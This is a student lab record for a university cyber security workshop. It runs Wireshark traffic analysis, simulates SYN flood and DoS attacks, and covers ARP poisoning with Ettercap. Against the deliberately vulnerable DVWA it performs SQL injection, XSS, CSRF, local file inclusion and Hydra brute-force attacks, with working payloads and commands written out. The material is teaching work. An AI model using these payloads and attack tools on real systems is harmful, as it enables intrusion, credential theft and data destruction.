[Approved by AICTE, Govt. of India & A iliated to Dr.

APJ
Abdul Kalam Technical University, Lucknow, U.P., India]
Department of Applied Computational Science & Engineering

Cyber Security Workshop (BCS – 453)

Session: 2023-24
Semester: 4th

Submitted By: Submitted To:

Name: Ms. Swati Vashisht
Roll No:
Section: AIML

1
 Index

S.No. Experiments Date

1. Basic Packet Inspection: Capture network traffic using

Wire shark and analyze basic protocols like HTTP, DNS,
and SMTP to understand how data is transmitted and
received.
2. Detecting Suspicious Activity: Analyze network traffic to
identify suspicious patterns, such as repeated connection
attempts or unusual communication between hosts.
3. Malware Traffic Analysis: Analyze captured traffic to
identify signs of malware communication, such as
command-and-control traffic or data infiltration.
4. Password Sniffing: Simulate a scenario where a password
is transmitted in plaintext. Use Wireshark to capture and
analyze the packets to demonstrate the vulnerability and
the importance of encryption.
5. ARP Poisoning Attack: Set up an ARP poisoning attack
using tools like Ettercap. Analyze the captured packets to
understand how the attack can lead to a Man-in-the-Middle
scenario.
6. SQL Injection: Use DVWA to practice SQL injection
attacks. Demonstrate how an attacker can manipulate input
fields to extract, modify, or delete database information.
7. Cross-Site Scripting (XSS): Exploit XSS vulnerabilities in
DVWA to inject malicious scripts into web pages. Show
the potential impact of XSS attacks, such as stealing
cookies or defacing websites.
8. Cross-Site Request Forgery (CSRF): Set up a CSRF attack
in DVWA to demonstrate how attackers can manipulate
authenticated users into performing unintended actions.
9. File Inclusion Vulnerabilities: Explore remote and local file
inclusion vulnerabilities in DVWA. Show how attackers
can include malicious files on a server and execute
arbitrary code.
10. Brute-Force and Dictionary Attacks: Use DVWA to
simulate login pages and demonstrate brute-force and
dictionary attacks against weak passwords. Emphasize the
importance of strong password policies.
 Experiment No:1

Aim: Basic Packet Inspection: Capture network traffic using Wire shark and
analyze basic protocols like HTTP, DNS, and SMTP to understand how data is
transmitted and received.

a. Open Wireshark.
b. The following screen showing a list of all the network connections is
displayed. Select one or more of the network interfaces using shift+left-click
or by clicking on the tab All Interfaces Shown

c. Once the network interface is selected, start the capture, and there are several
ways to do that.
i. Click the first button on the toolbar, titled “Start capturing packets.
 OR

select the menu item Capture-> Start

d. During the capture process, Wireshark will show the following screen

e. Once all required packets are captured, use the same buttons or menu options

to stop the capture as you did to begin.

Analyzing data packets on Wireshark: Wireshark Interface

Wireshark shows three different panes for inspecting packet data. The Packet List, the

top pane, lists all the packets in the capture.

Wireshark filters

i) Wireshark capture filters

Capture filters limit the captured packets by the chosen filter. If the packets don’t

match the filter:

a. host IP-address: This filter limits the captured traffic to and from the IP

address

b. net 192.168.0.0/24: This filter captures all traffic on the subnet

c. dst host IP-address: Capture packets sent to the specified host

 d. port 53: Capture traffic on port 53 only

e. port not 53 and not arp: Capture all traffic except DNS and ARP traffic

Wireshark display filters

Wireshark display filters change the view of the capture during analysis.

i) ip.src==IP-address and ip.dst==IP-address This filter shows packets sent

from one computer (ip.src) to another (ip.dst). You can also use ip.addr to

show packets to and from that IP.

ii) tcp.port eq 25: This filter will show you all traffic on port 25, which is

usually SMTP traffic

iii) icmp: This filter will show you only ICMP traffic in the capture, most

likely they are pings

iv) ip.addr != IP_address: This filter shows you all traffic except the traffic to

or from the specified computer

 Experiment No:2

Aim: Detecting Suspicious Activity: Analyze network traffic to identify

suspicious patterns, such as repeated connection attempts or unusual
communication between hosts.

HTTPS traffic analysis

The Hypertext Transfer Application Layer Protocol (HTTP) utilizes the internet to
establish protocols whenever the HTTP client/server transmits/receives HTTP
requests.

Start a Wireshark capture -> Open a web browser -> Navigate to any HTTPS-based
website -> Stop the Wireshark capture.

Input ' ssl' in the filter box to monitor only HTTPS traffic -> Observe the first TLS
packet -> The destination IP would be the target IP (server).

TCP traffic analysis

A standard port scan takes advantage of the TCP three-way handshake. The attacker
sends the SYN packet to the target port. The port is considered open when he gets
SYN+ACK as a response, whereas the arrival of RST shows the port is closed. After
receiving SYN+ACK, the hacker would send an ACK packet to establish a TCP
connection.

Analyze TCP SYN traffic

Input ‘tcp.port == 80’ to see only TCP traffic connected to the web server connection.
Observe the TCP [SYN] packet. Expand Ethernet and observe the destination address
that is the default gateway address; whereas, the source is your own MAC address.

To check the IP details, observe Internet Protocol Version 4; in our case, the
destination IP is Googles' web server IP, and the source IP is the local IP address.

To view TCP details, observe Transmission Control Protocol, like port numbers.
Monitor the flag values. SYN, which is enabled, shows the initial section of the TCP
three-way handshake.

Analyze TCP SYN, ACK traffic

Take a look at the TCP [SYN, ACK] packet. Expand Ethernet and observe the
destination address now would be your own MAC address; whereas the source is the
default gateway address.

Monitor the acknowledgement code. It's worth noting that the number is one relative
ACK number. The real acknowledgement value is one higher than the previous
segment's identifier. Monitor the flag values. [SYN, ACK], which is enabled, shows
the second section of the TCP three-way handshake.
Analyze SYN flood attack

SYN flood occurs when an attacker delivers a substantial amount of SYN packets to a
server using fake IPs, causing the server to respond with an SYN+ACK and keep its
ports partially open, expecting a response from an invisible client.

By overwhelming a victim with SYN packets, an attacker can effectively overrun the
victim's resources. In this state, the victim fights with traffic, which causes processor
and memory usage to rise, eventually exhausting the victim's resources.

Use the hping3 tool to flood the victim IP. Simultaneously, start capturing the traffic
on Wireshark. Input 'tcp.flags.syn == 1' in the filter box to view SYN packets flood.

Notice a lot of SYN packets with no time lag.

Analyze DoS attacks

Let’s simulate a Denial of Service (DoS) attack to analyze it via Wireshark. Use
macof tool, the component of the Dsniff suit toolkit, and flood a surrounding device's
switch with MAC addresses.

The image below shows IP address is generating requests to another device with the
same data size repeatedly. This sort of traffic shows a standard network DoS attack.

For a DDoS attack, use the macof tool again to generate traffic. Observe the fake
source and destination IP addresses are sending many packets with similar data sizes.
 Experiment-3

Malware Traffic Analysis: Analyze captured traffic to identify signs of malware

communication, such as command-and-control traffic or data infiltration.
The malware being use is called Dridex malware. This malware affects financial

institutions, and typically is found through spreadsheets with custom macros. It

downloads tools or utilizes to download the malware.

We investigate it by looking for successful TLS handshakes. We can do this by using:

tls.handshake.type eq 1

Since this traffic is encrypted we will be decrypting with the decryption key we were
provided with on GitHub.
Now, filter the HTTP traffic and the TLS handshake, along with excluding SSDP:

(http.request or tls.handshake.type eq 1) and !(ssdp)

Here is an interesting GET request where it looks like it was reaching for a .dll file.

If we follow this through a HTTP stream, we can see that it has already been

downloaded. The running in DOS mode means the rest of the content is the dll.

Save this file, and use a website like virus total to see what kind of malware it is.

Here we can get a very detailed breakdown of the file:

Potential method of infection:

We can also find an very weird POST request for this .php file:

After the system has been infected it tries to connect to a control server. Following
with TLS stream we can see it does indeed try and connect to the control server.
 Experiment No:4

Aim: Password Sniffing: Simulate a scenario where a password is transmitted in

plaintext. Use Wireshark to capture and analyze the packets to demonstrate the
vulnerability and the importance of encryption.
Solution:

Password sniffing is a type of network attack in which an attacker intercepts data

packets that include passwords. The attacker then uses a password-cracking program
to obtain the actual passwords from the intercepted data. Password sniffing can be
used to obtain passwords for any type of account, including email, social media, and
financial accounts.

Step 1: Open Wireshark tool start capturing the network. Here we are capturing
wireless fidelity.

Step:2 After starting the packet capturing we will go to the website and login the
credential on that website.
Step-3: Now after completing the login credential we will go and capture the
password in Wireshark. For that we have to use some filter that helps to find the login
credential through the packet capturing.

Step 4: Wireshark has captured some packets but we are specifically looking for
HTTP packets. so in the display filter bar we use some command to find all the
captured HTTP packets.
Step 5: So there are some HTTP packets that are captured but we are specifically
looking for form data that the user submitted to the website. For that, we have a
separate filter .
As we know that there are two main methods used for submitting form data from web
pages like login forms to the server. the methods are-
● GET
● POST

Step 6: So firstly for knowing the credential we use the first method and apply the
filter for the GET methods.

As we can see in the image there are two packets where the login page was requested
with a GET request as well, but there is no form data submitted with a GET request.

Step 7: Now after checking the GET method if we didn’t find the form data, then we
will try the POST method for that we will apply the filter on Wireshark as you can
see.
As we can see we have a packet with form data click on the packet with user info and
the application URL encoded. and click on the down-

HTML form URL Encoded where the login credential is found. login credential as it is
the same that we filed on the website in step 2.
 Experiment No:5

Aim: ARP Poisoning Attack: Set up an ARP poisoning attack using tools like
Ettercap. Analyze the captured packets to understand how the attack can lead to
a Man-in-the-Middle scenario.

1. Open Ettercap.

2. Go to the pull-down menu that says "Sniff" and click on "Unified Sniffing".

3. Click "OK", ettercap launches it sniffing and loads its plugins.

4. Click on the "Hosts" tab and there is a menu that includes "Scan for Hosts".
Click on it and ettercap will begin scanning the network for hosts.
5.

6. Now, using that same "Hosts" tab, click on "Hosts List". This will display all
the hosts that ettercap has discovered on your network as seen in the
screenshot below.

7. Now, select one of the hosts that will be the target of this attack in the window
by clicking on it and then click on "Add to Target 1" at the bottom of the
window. When we do so, ettercap will add that host as the first target in our
MiTM attack as seen in the screenshot below. Next, select the second host in
this attack and then click "Add to Target 2".
8. Finally, go to the menu above and click on MITM tab and the drop down
menu will have a selection called "ARP Poisoning" as seen in the screenshot
below.

9. Select it and it will open a pop window like below. Select "Sniff remote
connections".When we press OK, ettercap will begin ARP poisoning and we
see ettercap respond in its main windows with the message below.
Now, we have successfully placed ourselves between the two targets systems and all
their traffic must flow through us.

10. This is how ARP poisoning looks in Wireshark

Wireshark warns you by the message "(duplicate use of <ip> detected!)".

 Experiment-6

SQL Injection: Use DVWA to practice SQL injection attacks. Demonstrate how
an attacker can manipulate input fields to extract, modify, or delete database
information.

SQL Injection is a code injection technique that exploits a security vulnerability in a

web application's software. It occurs when an attacker can insert or manipulate SQL
queries in the input fields of a web application to execute arbitrary SQL code. This
can lead to unauthorized access, data leakage, data modification, or even deletion of
the entire database.

Step 1: Setting Up DVWA

1. Install DVWA:

➢ Download and install XAMPP or any other LAMP/WAMP/MAMP stack.

➢ Download DVWA from the official GitHub repository.

➢ Extract the DVWA files into the htdocs directory of our web server (e.g., C:
\xampp\htdocs\dvwa).

Step-2: Configure DVWA:

➢ Open the config folder inside the DVWA directory.

➢ Edit the config.inc.php file to match our database credentials.

➢ Start web server and navigate to http://localhost/dvwa/setup.php.

➢ Follow the instructions to create the database and set up DVWA.

 Step 3: Set Security Level:

➢ Log in to DVWA with the default credentials (admin / password).

➢ Navigate to the "DVWA Security" page and set the security level to "Low".

Step 4: Performing SQL Injection

1. Navigate to SQL Injection Page:

➢ Go to the "SQL Injection" section in the DVWA menu.

Step 5: Basic SQL Injection:

➢ In the input field (e.g., "User ID"), enter a simple SQL injection payload: ' OR
'1'='1

➢ Click on the "Submit" button.

➢ Expected Output: The application will display all user information because
the query always returns true.

Step 6: Extracting Data:

 ➢ Modify the payload to extract specific data. For example, to extract all
usernames and passwords:

SELECT first_name, last_name FROM users WHERE user_id = '%' or '1'='1';

And we can see the URL in above picture is,

127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

Now in above URL we will try to unbalance sql query by placing a ‘ after 1 like this,

127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’&Submit=Submit#

And Web page is supposed to throw an error. If it doses then we can say that it is
vulnerable. Like this,
Step 7: — Now we find out how many columns does it contains by using “order by”
keyword.

127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ order by 1 — &Submit=Submit#

The URL looks like,

Step 8: — Now that we have figured it out that we have 2 vulnerable columns we use
UNION SELECT statement over here to find out database name and its version. Like
this,

127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ union select database(),version() —

&Submit=Submit#

And the output is,

Step 9: — Now we extract out all the table names from this database by firing
following query.

127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ union select ‘abc’,table_name from

information_schema.tables — &Submit=Submit#

And output is,

Step 10: — As we can see in above picture that we have presented with all the tables
name that database contains. But we are not interested in all the tables, we will be
possibly looking for a table that might contain username and password. So, we will be
scrolling through all the tables.

Step 11: — Now we want user name and password and we can see in above picture
that it contains column name “user” and “password”. So, now we get all user name
and password by firing this simple query.

127.0.0.1/DVWA/vulnerabilities/sqli/?id=1’ union select user,password from users

— &Submit=Submit#

And the output is,

 2. Modifying Data:

➢ Use an SQL injection payload to update data in the database. For example, to
change the password of the first user:

' OR '1'='1'; UPDATE users SET password='newpassword' WHERE user_id=1; --

3. Deleting Data:

➢ Use an SQL injection payload to delete data from the database. For example,
to delete the first user:

' OR '1'='1'; DELETE FROM users WHERE user_id=1; --

 Experiment- 7

Cross-Site Scripting (XSS): Exploit XSS vulnerabilities in DVWA to inject

malicious scripts into web pages. Show the potential impact of XSS attacks, such
as stealing cookies or defacing websites.
Cross-Site Scripting (XSS) is a security vulnerability typically found in web
applications. It allows attackers to inject malicious scripts into content delivered to
users. These scripts can be executed by the victim's browser, leading to various
harmful actions such as stealing cookies, session tokens, or other sensitive
information, and defacing websites.

Log in to DVWA using either the default credentials “admin” and “password,” or the
credentials, set up. We begin by testing the low-security level, then move on to the
medium level, and finally, the high-security level.

Click on “DVWA Security,” then choose the “Low” security level and proceed by
clicking the “Submit” button.
Navigate to “XSS (Stored)” and input a name of your choice into the designated field.
For the message field, insert the payload below before clicking the “Sign Guestbook”
option.

<script>alert('stored XSS');</script>

Upon submission, an alert box appeared, confirming the vulnerability of the site to
stored XSS attacks.

Click on “DVWA Security,” then choose the “medium” security level and proceed by
clicking the “Submit” button as shown below.
Upon re-entering the previous inputs, it becomes evident that no pop-up is triggered,
even though the XSS payload is correct. This could be attributed to various reasons,
such as input sanitization being implemented in the source code, which may include
processes like removing special characters or employing other security measures. It’s
important to note that without access to the source code, we can only speculate on the
specific mechanisms in place.

<script>alert('stored XSS');</script>

Also, it was observed that the tags <script> and </script> were removed. As a result,
payloads utilizing these tags cannot be effectively employed. To bypass this restriction
and inject a payload into the name field, we can utilize a payload that does not include
the <script> tag.

let’s inject the payload below into the name field.

<img src="x" onerror="alert('stored xss');">

We attempted to input the payload into the name field, but encountered client-side
restrictions that limit users to entering a maximum of 10 characters, as shown below.

To bypass this limitation, right-click on the name input field, select “Inspect,” and
then modify the `maxlength=”10"` attribute to a different value, such as `”90"`. After
making this adjustment, press Enter to apply the changes, as illustrated below.

<img src="x" onerror="alert('stored xss');">

Now, we input the payload into the name field and enter any text in the message field.
Afterward, click on the submit button.
After clicking the “Sign Guestbook” button to inject the payload, we received a pop-
up alert, which confirms the successful exploitation of this vulnerability at the
medium security level.
 Experiment-8

Cross-Site Request Forgery (CSRF): Set up a CSRF attack in DVWA to

demonstrate how attackers can manipulate authenticated users into performing
unintended actions.

Cross-Site Request Forgery (CSRF) is a type of attack that tricks a user into
performing actions on a web application without their consent. It exploits the trust that
a web application has in an authenticated user by using their credentials to perform
unauthorized actions. This can lead to actions like changing account details,
transferring funds, or any other action that the user is authorized to perform.
Performing a CSRF Attack
Step 1: Navigate to CSRF Page:
Go to the "CSRF" section in the DVWA menu.
Step 2: Understanding the CSRF Vulnerability:
Observe the form that allows changing the user password. This form is vulnerable
to CSRF.
Step 3: Create a Malicious Web Page:
Create an HTML file (csrf_attack.html) with the following content:
<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>CSRF Attack</title>

</head>
<body>

<h1>CSRF Attack Demonstration</h1>

<form action="http://localhost/dvwa/vulnerabilities/csrf/" method="POST">

<input type="hidden" name="password_new" value="newpassword">

<input type="hidden" name="password_conf" value="newpassword">

<input type="hidden" name="Change" value="Change">

<input type="submit" value="Click me to change your password">

</form>
 <script> document.forms[0].submit();

</script>

</body>

</html>

Launch the Attack:

Ensure you are logged into DVWA in your browser.
Open the csrf_attack.html file in the same browser.
Expected Output: The password of the logged-in user should be changed to
"newpassword" without their explicit action.
 Experiment-9

File Inclusion Vulnerabilities: Explore remote and local file inclusion

vulnerabilities in DVWA. Show how attackers can include malicious files on a
server and execute arbitrary code.

It is an attack that allows an attacker to include a file on the web server through a php
script. This vulnerability arises when a web application lets the client submit input
into files or upload files to the server. A file include vulnerability is distinct from a
generic Directory Traversal Attack, in that directory traversal is a way of gaining
unauthorized file system access, and a file inclusion vulnerability subverts how an
application loads code for execution. Successful exploitation of a file include
vulnerability will result in remote code execution on the web server that runs the
affected web application.

This can lead to the following attacks:

Code execution on the web server

Cross Site Scripting Attacks (XSS)

Denial of service (DOS)

Data Manipulation Attacks

Login to DVWA, then go to DVWA security tab and change the difficulty level to low.

Go to file inclusion tab and change the URL from incude.php to ?page=../../../../../../
etc/passwd.
change the URL from?page=../../../../../../etc/passwd to ?page=../../../../../../proc/
version.

Difficulty: MEDIUM

Now, go on and try the exploits we used in low difficulty. We notice that we can’t read
files like before using the directory traversal method. So, as we can see in the below
snapshot of source page, the server is more secure and is filtering the ‘../’ or ‘..
\’pattern. Let’s try to access the file without ‘../’ or ‘..\’.

Change include.php to /etc/passwd

Now,change the URL from?page=/etc/passwd to ?page=/proc/version.

Difficulty: HIGH

Change the difficulty to HIGH and try all exploits from medium difficulty, and you’ll
notice none of them will works because the target is more secure, as it is only
accepting “include.php” or inputs starting with the word “file”. If you try anything
else, it will show “File not Found”.
In this level of security, we can still gather sensitive info using the “File” URI scheme.
(because it starts with the word “file”)

Change the URL from include.php to ?page=file:///etc/passwd

We get the data of /etc/passwd file. This is how we can exploit file inclusion
vulnerability using local files on the webserver.
 Experiment-10

Brute-Force and Dictionary Attacks: Use DVWA to simulate login pages and
demonstrate brute-force and dictionary attacks against weak passwords.
Emphasize the importance of strong password policies.
Modern brute force attacks can now easily crack 8-characters alphanumeric password
in just a mere 2 hours, while more advanced encryption hashes can be cracked in a
few months. This can be achieved by performing exhaustive key search, in which the
computer will try every possible combination of every single possible character in
order to find the right combination of characters as the password. For the purpose of
this demonstration, I will be setting up the Damn Vulnerable Web Application
(DVWA) to simulate a brute force attack.

The attack will utilize Hydra as a parallelized login cracker and the ‘rockyou.txt’
wordlist that will be demonstrated on the login form below.

Initially, barely any information was disclosed. However, a wild guess would be to use
one of the most popular usernames on any web application, which is “admin”. Before
proceeding with the attack, we must first collect more information. Open a Burp Suite
browser and direct it to the DVWA page, which will look exactly like the one on a
regular browser. Now, try logging in using a random password. For this attempt, the
username “admin” and password “admin123” was used. For Burp Suite to scan the
web application, turn on the Intercept mode right before clicking on the “Login”
button.

As expected, the credentials entered were wrong, displaying an error message saying,
“Username and/or password incorrect”. Now, head back to Burp Suite and view the
raw data of the connection request.

Through this, we have gathered several more information that may be useful (e.g.,
session cookies, parameters of the request). The following table includes all the
gathered information:
The next step is to use Hydra to crack the account password. There is no fixed format
to Hydra’s command as it will depend on the elements and/or information known to
the pentester (e.g., username, hostname, URL service, and cookies). Considering the
list of disclosed information and available parameters obtained during the
vulnerability assessment step utilizing Burp Suite, the command used for this
demonstration will be:

hydra 127.0.0.1 -l admin -P /usr/share/wordlists/rockyou.txt http-get-form "/dvwa/

v u l n e r a b i l i t i e s /
brute:username=^USER^&password=^PASS^&Login=Login:H=Cookie\:PHPSES
SID=9cei1q7s10h39gdp538to6f3ut;security=low:F=Username and/or password
incorrect."

The result of the attack reveals the password to be “password”, which will show that
the login is successful, hence concluding the demonstration.